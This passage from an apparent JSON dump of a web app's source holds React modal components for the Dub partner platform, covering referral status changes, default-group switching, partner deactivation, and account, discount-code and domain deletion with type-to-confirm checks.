\"radial-gradient(circle, #d4d4d4 1px, transparent 1px)\",\n                  backgroundSize: \"16px 16px\",\n                }}\n              />\n              <div className=\"relative flex items-center justify-center gap-4\">\n                <ReferralStatusBadge status={referral.status} className=\"h-7\" />\n                <ArrowRight className=\"size-4 text-neutral-400\" />\n                <ReferralStatusBadge status={newStatus} className=\"h-7\" />\n              </div>\n            </div>\n\n            {visibleFields.has(\"externalId\") && (\n              <div>\n                <label className=\"text-content-emphasis text-sm font-medium\">\n                  External ID (optional)\n                </label>\n                <input\n                  type=\"text\"\n                  autoComplete=\"off\"\n                  className={cn(\n                    \"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                    errors.externalId &&\n                      \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                  )}\n                  autoFocus={!isMobile}\n                  {...register(\"externalId\", {\n                    setValueAs: (value) => (value === \"\" ? undefined : value),\n                  })}\n                />\n                <p className=\"text-content-subtle mt-1 text-xs\">\n                  The customer's external ID. If not provided, the referral\n                  email will be used.\n                </p>\n              </div>\n            )}\n\n            {visibleFields.has(\"saleAmount\") && (\n              <div>\n                <label className=\"text-content-emphasis text-sm font-medium\">\n                  Sale Amount\n                </label>\n                <div className=\"relative mt-2\">\n                  <span className=\"absolute inset-y-0 left-0 flex items-center pl-3 text-sm text-neutral-400\">\n                    $\n                  </span>\n                  <input\n                    type=\"number\"\n                    step=\"0.01\"\n                    min=\"0\"\n                    className={cn(\n                      \"border-border-subtle block w-full rounded-lg pl-6 pr-12 text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                      errors.saleAmount &&\n                        \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                    )}\n                    {...register(\"saleAmount\", {\n                      required: \"Sale amount is required\",\n                      min: {\n                        value: 0,\n                        message:\n                          \"Sale amount must be greater than or equal to 0\",\n                      },\n                      valueAsNumber: true,\n                      onChange: handleMoneyInputChange,\n                    })}\n                    onKeyDown={handleMoneyKeyDown}\n                  />\n                  <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-sm text-neutral-400\">\n                    USD\n                  </span>\n                </div>\n                {errors.saleAmount ? (\n                  <p className=\"text-xs text-red-600\">\n                    {errors.saleAmount.message}\n                  </p>\n                ) : (\n                  <p className=\"text-content-subtle mt-1 text-xs\">\n                    This will also be recorded as a sale commission (if\n                    applicable)\n                  </p>\n                )}\n              </div>\n            )}\n\n            <div>\n              <label className=\"text-content-emphasis text-sm font-medium\">\n                Notes for the partner (optional)\n              </label>\n              <textarea\n                rows={2}\n                className={cn(\n                  \"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.notes &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"notes\", {\n                  setValueAs: (value) => (value === \"\" ? undefined : value),\n                })}\n              />\n            </div>\n\n            {hasAdvancedSettings && (\n              <div className=\"flex flex-col\">\n                <button\n                  type=\"button\"\n                  className=\"flex w-full items-center gap-2\"\n                  onClick={() => setShowAdvancedOptions(!showAdvancedOptions)}\n                >\n                  <p className=\"text-sm text-neutral-700\">\n                    {showAdvancedOptions ? \"Hide\" : \"Show\"} advanced settings\n                  </p>\n                  <motion.div\n                    animate={{ rotate: showAdvancedOptions ? 180 : 0 }}\n                    className=\"text-neutral-600\"\n                  >\n                    <ChevronDown className=\"size-4\" />\n                  </motion.div>\n                </button>\n\n                <AnimatedSizeContainer height className=\"flex flex-col\">\n                  {showAdvancedOptions &&\n                    visibleFields.has(\"stripeCustomerId\") && (\n                      <div className=\"mt-4 p-px\">\n                        <div>\n                          <label className=\"text-content-emphasis text-sm font-medium\">\n                            Stripe Customer ID (optional)\n                          </label>\n                          <input\n                            type=\"text\"\n                            autoComplete=\"off\"\n                            className={cn(\n                              \"border-border-subtle mt-2 block w-full rounded-lg text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                              errors.stripeCustomerId &&\n                                \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                            )}\n                            {...register(\"stripeCustomerId\", {\n                              setValueAs: (value) =>\n                                value === \"\" ? undefined : value,\n                            })}\n                          />\n                          <p className=\"text-content-subtle mt-1 text-xs\">\n                            The customer's Stripe Customer ID\n                          </p>\n                        </div>\n                      </div>\n                    )}\n                </AnimatedSizeContainer>\n              </div>\n            )}\n          </div>\n\n          <div className=\"flex items-center justify-end border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <div className=\"flex gap-2\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-8 w-fit\"\n                onClick={() => setShowModal(false)}\n                disabled={isSubmitting}\n              />\n              <Button\n                type=\"submit\"\n                text=\"Confirm\"\n                className=\"h-8 w-fit\"\n                loading={isPending || isSubmitting}\n              />\n            </div>\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useConfirmReferralStatusChangeModal(options?: {\n  onClose?: () => void;\n}) {\n  const [state, setState] = useState<{\n    referral: Pick<ReferralProps, \"id\" | \"status\">;\n    newStatus: ReferralStatus;\n  } | null>(null);\n\n  function openConfirmReferralStatusChangeModal(\n    referral: Pick<ReferralProps, \"id\" | \"status\">,\n    newStatus: ReferralStatus,\n  ) {\n    setState({ referral, newStatus });\n  }\n\n  function closeConfirmReferralStatusChangeModal() {\n    setState(null);\n    options?.onClose?.();\n  }\n\n  return {\n    openConfirmReferralStatusChangeModal,\n    closeConfirmReferralStatusChangeModal,\n    ConfirmReferralStatusChangeModal: state ? (\n      <ConfirmReferralStatusChangeModal\n        referral={state.referral}\n        newStatus={state.newStatus}\n        showModal\n        setShowModal={(show) => {\n          if (!show) closeConfirmReferralStatusChangeModal();\n        }}\n      />\n    ) : null,\n    isConfirmReferralStatusChangeModalOpen: state !== null,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/confirm-set-default-group-modal.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { GroupExtendedProps } from \"@/lib/types\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { MarkdownDescription } from \"@/ui/shared/markdown-description\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { ArrowRight } from \"lucide-react\";\nimport { useCallback, useState } from \"react\";\nimport { toast } from \"sonner\";\n\ntype GroupForModal = Pick<GroupExtendedProps, \"id\" | \"name\" | \"color\">;\n\ninterface ConfirmSetDefaultGroupModalProps {\n  showModal: boolean;\n  setShowModal: (show: boolean) => void;\n  currentDefaultGroup: GroupForModal;\n  newDefaultGroup: GroupForModal;\n}\n\nfunction ConfirmSetDefaultGroupModal({\n  showModal,\n  setShowModal,\n  currentDefaultGroup,\n  newDefaultGroup,\n}: ConfirmSetDefaultGroupModalProps) {\n  const { makeRequest, isSubmitting } = useApiMutation();\n\n  const onSubmit = useCallback(\n    async (e: React.FormEvent) => {\n      e.preventDefault();\n      await makeRequest(`/api/groups/${newDefaultGroup.id}/default`, {\n        method: \"POST\",\n        onSuccess: async () => {\n          setShowModal(false);\n          await mutatePrefix(\"/api/groups\");\n          toast.success(\"Default group updated successfully!\");\n        },\n      });\n    },\n    [makeRequest, newDefaultGroup.id, setShowModal],\n  );\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-content-emphasis text-lg font-medium\">\n          Change default group\n        </h3>\n      </div>\n\n      <form onSubmit={onSubmit}>\n        <div className=\"flex flex-col gap-4 px-4 py-6 text-left sm:px-6\">\n          <div className=\"relative overflow-hidden rounded-lg border border-neutral-200 bg-white p-5\">\n            <div\n              className=\"pointer-events-none absolute inset-0 bg-neutral-50\"\n              style={{\n                backgroundImage:\n                  \"radial-gradient(circle, #d4d4d4 1px, transparent 1px)\",\n                backgroundSize: \"16px 16px\",\n              }}\n            />\n            <div className=\"relative flex items-center justify-center gap-4\">\n              <div className=\"flex items-center gap-2\">\n                <GroupColorCircle group={currentDefaultGroup} />\n                <span className=\"text-content-emphasis text-sm font-medium\">\n                  {currentDefaultGroup.name}\n                </span>\n              </div>\n              <ArrowRight className=\"size-4 text-neutral-400\" />\n              <div className=\"flex items-center gap-2\">\n                <GroupColorCircle group={newDefaultGroup} />\n                <span className=\"text-content-emphasis text-sm font-medium\">\n                  {newDefaultGroup.name}\n                </span>\n              </div>\n            </div>\n            <MarkdownDescription className=\"text-content-subtle relative mt-3 text-center text-xs\">\n              {`This will set **\"${newDefaultGroup.name}\"** as the new default group and update your [public landing page](https://dub.co/help/article/program-landing-page) and [application form](https://dub.co/help/article/program-application-form).`}\n            </MarkdownDescription>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end border-t border-neutral-200 px-4 py-4 sm:px-6\">\n          <div className=\"flex gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit\"\n              onClick={() => setShowModal(false)}\n              disabled={isSubmitting}\n            />\n            <Button\n              type=\"submit\"\n              text=\"Confirm change\"\n              className=\"h-8 w-fit\"\n              loading={isSubmitting}\n            />\n          </div>\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useConfirmSetDefaultGroupModal() {\n  const [state, setState] = useState<{\n    currentDefaultGroup: GroupForModal;\n    newDefaultGroup: GroupForModal;\n  } | null>(null);\n\n  const openConfirmSetDefaultGroupModal = useCallback(\n    ({\n      currentDefaultGroup,\n      newDefaultGroup,\n    }: {\n      currentDefaultGroup: GroupForModal;\n      newDefaultGroup: GroupForModal;\n    }) => {\n      setState({ currentDefaultGroup, newDefaultGroup });\n    },\n    [],\n  );\n\n  const closeConfirmSetDefaultGroupModal = useCallback(\n    () => setState(null),\n    [],\n  );\n\n  return {\n    openConfirmSetDefaultGroupModal,\n    closeConfirmSetDefaultGroupModal,\n    ConfirmSetDefaultGroupModal: state ? (\n      <ConfirmSetDefaultGroupModal\n        showModal\n        setShowModal={(show) => !show && setState(null)}\n        currentDefaultGroup={state.currentDefaultGroup}\n        newDefaultGroup={state.newDefaultGroup}\n      />\n    ) : null,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/deactivate-partner-modal.tsx",
    "content": "import { deactivatePartnerAction } from \"@/lib/actions/partners/deactivate-partner\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ntype DeactivatePartnerFormData = {\n  confirm: string;\n};\n\nfunction DeactivatePartnerModal({\n  showDeactivatePartnerModal,\n  setShowDeactivatePartnerModal,\n  partner,\n}: {\n  showDeactivatePartnerModal: boolean;\n  setShowDeactivatePartnerModal: Dispatch<SetStateAction<boolean>>;\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    formState: { errors },\n  } = useForm<DeactivatePartnerFormData>({\n    defaultValues: {\n      confirm: \"\",\n    },\n  });\n\n  const [confirm] = watch([\"confirm\"]);\n\n  const { executeAsync, isPending } = useAction(deactivatePartnerAction, {\n    onSuccess: async () => {\n      toast.success(\"Partner deactivated successfully!\");\n      setShowDeactivatePartnerModal(false);\n      mutatePrefix(\"/api/partners\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = useCallback(async () => {\n    if (!workspaceId || !partner.id) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      partnerId: partner.id,\n    });\n  }, [executeAsync, partner.id, workspaceId]);\n\n  const isDisabled = useMemo(() => {\n    return (\n      !workspaceId || !partner.id || confirm !== \"confirm deactivate partner\"\n    );\n  }, [workspaceId, partner.id, confirm]);\n\n  return (\n    <Modal\n      showModal={showDeactivatePartnerModal}\n      setShowModal={setShowDeactivatePartnerModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Deactivate partner</h3>\n      </div>\n\n      <form onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n            <div className=\"flex items-center gap-4\">\n              <PartnerAvatar partner={partner} className=\"size-10 bg-white\" />\n              <div className=\"flex min-w-0 flex-col\">\n                <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                  {partner.name}\n                </h4>\n                <p className=\"truncate text-xs text-neutral-500\">\n                  {partner.email}\n                </p>\n              </div>\n            </div>\n          </div>\n\n          <p className=\"text-sm text-neutral-600\">\n            This will deactivate the partner and disable all their active links.\n            Their commissions and payouts will remain intact. You can reactivate\n            them later if needed.\n          </p>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              To verify, type <strong>confirm deactivate partner</strong> below\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <input\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.confirm && \"border-red-600\",\n                )}\n                placeholder=\"confirm deactivate partner\"\n                type=\"text\"\n                autoComplete=\"off\"\n                {...register(\"confirm\", {\n                  required: true,\n                })}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n          <Button\n            onClick={() => setShowDeactivatePartnerModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            type=\"submit\"\n            variant=\"danger\"\n            text=\"Deactivate partner\"\n            disabled={isDisabled}\n            loading={isPending}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useDeactivatePartnerModal({\n  partner,\n}: {\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n}) {\n  const [showDeactivatePartnerModal, setShowDeactivatePartnerModal] =\n    useState(false);\n\n  const DeactivatePartnerModalCallback = useCallback(() => {\n    return (\n      <DeactivatePartnerModal\n        showDeactivatePartnerModal={showDeactivatePartnerModal}\n        setShowDeactivatePartnerModal={setShowDeactivatePartnerModal}\n        partner={partner}\n      />\n    );\n  }, [showDeactivatePartnerModal, setShowDeactivatePartnerModal, partner]);\n\n  return useMemo(\n    () => ({\n      setShowDeactivatePartnerModal,\n      DeactivatePartnerModal: DeactivatePartnerModalCallback,\n    }),\n    [setShowDeactivatePartnerModal, DeactivatePartnerModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-account-modal.tsx",
    "content": "import { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useRouter } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction DeleteAccountModal({\n  showDeleteAccountModal,\n  setShowDeleteAccountModal,\n}: {\n  showDeleteAccountModal: boolean;\n  setShowDeleteAccountModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const router = useRouter();\n  const { data: session, update } = useSession();\n  const [deleting, setDeleting] = useState(false);\n  const [verification, setVerification] = useState(\"\");\n\n  const confirmationText = \"confirm delete account\";\n  const isVerified = verification === confirmationText;\n\n  const { isMobile } = useMediaQuery();\n\n  async function deleteAccount() {\n    return new Promise((resolve, reject) => {\n      setDeleting(true);\n      fetch(`/api/user`, {\n        method: \"DELETE\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      }).then(async (res) => {\n        if (res.status === 200) {\n          update();\n          // delay to allow for the route change to complete\n          await new Promise((resolve) =>\n            setTimeout(() => {\n              router.push(\"/register\");\n              resolve(null);\n            }, 200),\n          );\n          resolve(null);\n        } else {\n          setDeleting(false);\n          const error = await res.text();\n          reject(error);\n        }\n      });\n    });\n  }\n\n  return (\n    <Modal\n      showModal={showDeleteAccountModal}\n      setShowModal={setShowDeleteAccountModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Delete Account</h3>\n        <p className=\"text-sm text-neutral-500\">\n          Warning: This will permanently delete your account, all your\n          workspaces, and all your short links.\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          toast.promise(deleteAccount(), {\n            loading: \"Deleting account...\",\n            success: \"Account deleted successfully!\",\n            error: (err) => err,\n          });\n        }}\n        className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\"\n      >\n        <div className=\"relative flex items-center gap-3 rounded-md border border-neutral-300 bg-white px-4 py-2\">\n          <UserAvatar user={session?.user} className=\"size-7\" />\n          <div className=\"flex flex-1 flex-col gap-0.5\">\n            <h3 className=\"line-clamp-1 text-sm font-medium text-neutral-600\">\n              {session?.user?.name || session?.user?.email}\n            </h3>\n            <p className=\"text-xs font-medium text-neutral-500\">\n              {session?.user?.email}\n            </p>\n          </div>\n        </div>\n\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">{confirmationText}</span> below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={confirmationText}\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verification}\n              onChange={(e) => setVerification(e.target.value)}\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-300 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n              )}\n            />\n          </div>\n        </div>\n\n        <Button\n          text=\"Delete\"\n          variant=\"danger\"\n          loading={deleting}\n          disabled={!isVerified}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useDeleteAccountModal() {\n  const [showDeleteAccountModal, setShowDeleteAccountModal] = useState(false);\n\n  const DeleteAccountModalCallback = useCallback(() => {\n    return (\n      <DeleteAccountModal\n        showDeleteAccountModal={showDeleteAccountModal}\n        setShowDeleteAccountModal={setShowDeleteAccountModal}\n      />\n    );\n  }, [showDeleteAccountModal]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteAccountModal,\n      DeleteAccountModal: DeleteAccountModalCallback,\n    }),\n    [DeleteAccountModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-discount-code-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { DiscountCodeProps } from \"@/lib/types\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { Tag } from \"@dub/ui/icons\";\nimport { FormEvent } from \"react\";\nimport { toast } from \"sonner\";\n\ninterface DeleteDiscountCodeModalProps {\n  discountCode: DiscountCodeProps;\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n}\n\nexport const DeleteDiscountCodeModal = ({\n  discountCode,\n  showModal,\n  setShowModal,\n}: DeleteDiscountCodeModalProps) => {\n  const { isMobile } = useMediaQuery();\n  const { makeRequest: deleteDiscountCode, isSubmitting } = useApiMutation();\n\n  const onSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    await deleteDiscountCode(`/api/discount-codes/${discountCode.id}`, {\n      method: \"DELETE\",\n      onSuccess: async () => {\n        setShowModal(false);\n        await mutatePrefix(\"/api/discount-codes\");\n        toast.success(`Discount code deleted successfully!`);\n      },\n    });\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"truncate text-lg font-medium\">Delete discount code</h3>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form onSubmit={onSubmit}>\n          <div className=\"flex flex-col gap-y-4 px-4 py-6 text-left sm:px-6\">\n            <div className=\"text-content-default text-sm font-medium\">\n              <p>Are you sure you want to delete this discount code?</p>\n            </div>\n\n            <div className=\"relative flex h-7 w-fit items-center gap-1.5 rounded-lg bg-green-100 px-2 py-0\">\n              <Tag className=\"size-3 text-green-700\" strokeWidth={1.5} />\n              <div className=\"text-xs font-medium text-green-700\">\n                {discountCode.code}\n              </div>\n            </div>\n\n            <p className=\"text-content-default text-sm font-normal\">\n              Deleting this code will remove it for the partner and they’ll no\n              longer be able to use it – proceed with caution.\n            </p>\n\n            <div className=\"mt-6\">\n              <div className=\"flex items-center gap-2\">\n                <p className=\"text-content-emphasis block text-sm font-medium\">\n                  To verify, type{\" \"}\n                  <span className=\"font-semibold\">delete code</span> below\n                </p>\n              </div>\n\n              <div className=\"mt-2\">\n                <div className=\"-m-1 rounded-[0.625rem] p-1\">\n                  <input\n                    type=\"text\"\n                    required\n                    autoComplete=\"off\"\n                    className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                    aria-invalid=\"true\"\n                    autoFocus={!isMobile}\n                    pattern=\"delete code\"\n                  />\n                </div>\n              </div>\n            </div>\n          </div>\n\n          <div className=\"flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => setShowModal(false)}\n              disabled={isSubmitting}\n            />\n            <Button\n              type=\"submit\"\n              text=\"Delete discount code\"\n              variant=\"danger\"\n              loading={isSubmitting}\n              className=\"h-9 w-fit\"\n            />\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/modals/delete-domain-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DomainProps } from \"@/lib/types\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { Globe } from \"@dub/ui/icons\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction DeleteDomainModal({\n  showDeleteDomainModal,\n  setShowDeleteDomainModal,\n  props,\n}: {\n  showDeleteDomainModal: boolean;\n  setShowDeleteDomainModal: Dispatch<SetStateAction<boolean>>;\n  props: DomainProps;\n}) {\n  const { id } = useWorkspace();\n  const [deleting, setDeleting] = useState(false);\n  const [verification, setVerification] = useState(\"\");\n  const domain = props.slug;\n\n  const confirmationText = \"confirm delete domain\";\n  const isVerified = verification === confirmationText;\n\n  const { isMobile } = useMediaQuery();\n\n  const deleteDomain = async () => {\n    setDeleting(true);\n    const res = await fetch(`/api/domains/${domain}?workspaceId=${id}`, {\n      method: \"DELETE\",\n    });\n    setDeleting(false);\n    if (res.status === 200) {\n      await mutatePrefix(\"/api/domains\");\n      setShowDeleteDomainModal(false);\n      toast.success(\"Successfully deleted domain!\");\n    } else {\n      const { error } = await res.json();\n      toast.error(error.message);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showDeleteDomainModal}\n      setShowModal={setShowDeleteDomainModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Delete {domain}</h3>\n        <p className=\"text-sm text-neutral-500\">\n          Deleting this domain will delete all associated links as well as their\n          analytics, permanently.\n          {Boolean(props.registeredDomain) &&\n            \" The domain will also be provisioned back to Dub.\"}{\" \"}\n          <strong className=\"font-semibold text-neutral-700\">\n            This action can't be undone\n          </strong>{\" \"}\n          – proceed with caution.\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          await deleteDomain();\n        }}\n        className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\"\n      >\n        <div className=\"relative flex items-center gap-3 rounded-md border border-neutral-300 bg-white p-4\">\n          <Globe className=\"size-5 text-neutral-500\" />\n\n          <h3 className=\"line-clamp-1 text-sm font-medium text-neutral-600\">\n            {domain}\n          </h3>\n        </div>\n\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">{confirmationText}</span> below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={confirmationText}\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verification}\n              onChange={(e) => setVerification(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-300 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <Button\n          text=\"Delete\"\n          variant=\"danger\"\n          loading={deleting}\n          disabled={!isVerified}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useDeleteDomainModal({ props }: { props?: DomainProps }) {\n  const [showDeleteDomainModal, setShowDeleteDomainModal] = useState(false);\n\n  const DeleteDomainModalCallback = useCallback(() => {\n    return props ? (\n      <DeleteDomainModal\n        showDeleteDomainModal={showDeleteDomainModal}\n        setShowDeleteDomainModal={setShowDeleteDomainModal}\n        props={props}\n      />\n    ) : null;\n  }, [showDeleteDomainModal, props]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteDomainModal,\n      DeleteDomainModal: DeleteDomainModalCallback,\n    }),\n    [setShowDeleteDomainModal, DeleteDomainModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-email-domain-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { EmailDomainProps } from \"@/lib/types\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { FormEvent, useCallback, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\n\ninterface DeleteEmailDomainModalProps {\n  emailDomain: Pick<EmailDomainProps, \"id\" | \"slug\">;\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  onDelete?: () => void;\n}\n\nconst DeleteEmailDomainModal = ({\n  emailDomain,\n  showModal,\n  setShowModal,\n  onDelete,\n}: DeleteEmailDomainModalProps) => {\n  const { isMobile } = useMediaQuery();\n  const { makeRequest: deleteEmailDomain, isSubmitting } = useApiMutation();\n\n  const onSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    await deleteEmailDomain(`/api/email-domains/${emailDomain.slug}`, {\n      method: \"DELETE\",\n      onSuccess: async () => {\n        setShowModal(false);\n        await mutatePrefix(\"/api/email-domains\");\n        toast.success(\"Email domain deleted successfully!\");\n        onDelete?.();\n      },\n    });\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"truncate text-lg font-medium\">Delete email domain</h3>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form onSubmit={onSubmit}>\n          <div className=\"flex flex-col gap-y-4 px-4 py-6 text-left sm:px-6\">\n            <div className=\"text-sm font-normal text-neutral-800\">\n              <h4 className=\"mb-2\">\n                Deleting <strong>{emailDomain.slug}</strong> domain will do the\n                following:\n              </h4>\n\n              <ul className=\"mt-0.5 list-outside list-disc space-y-1.5 pl-4\">\n                <li>\n                  All DNS records associated with this domain will be removed.\n                </li>\n                <li>\n                  You will no longer be able to send emails from this domain.\n                </li>\n                <li>\n                  Any marketing campaigns configured to use this domain will\n                  need to be updated.\n                </li>\n              </ul>\n\n              <p className=\"mt-4\">\n                This action cannot be undone – proceed with caution.\n              </p>\n            </div>\n\n            <div>\n              <div className=\"flex items-center gap-2\">\n                <p className=\"block text-sm text-neutral-500\">\n                  To verify, type{\" \"}\n                  <span className=\"font-medium text-neutral-700\">\n                    confirm delete {emailDomain.slug}\n                  </span>{\" \"}\n                  below\n                </p>\n              </div>\n\n              <div className=\"mt-2\">\n                <div className=\"-m-1 rounded-[0.625rem] p-1\">\n                  <input\n                    type=\"text\"\n                    required\n                    autoComplete=\"off\"\n                    className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                    aria-invalid=\"true\"\n                    autoFocus={!isMobile}\n                    pattern={`confirm delete ${emailDomain.slug}`}\n                  />\n                </div>\n              </div>\n            </div>\n          </div>\n\n          <div className=\"flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <Button\n              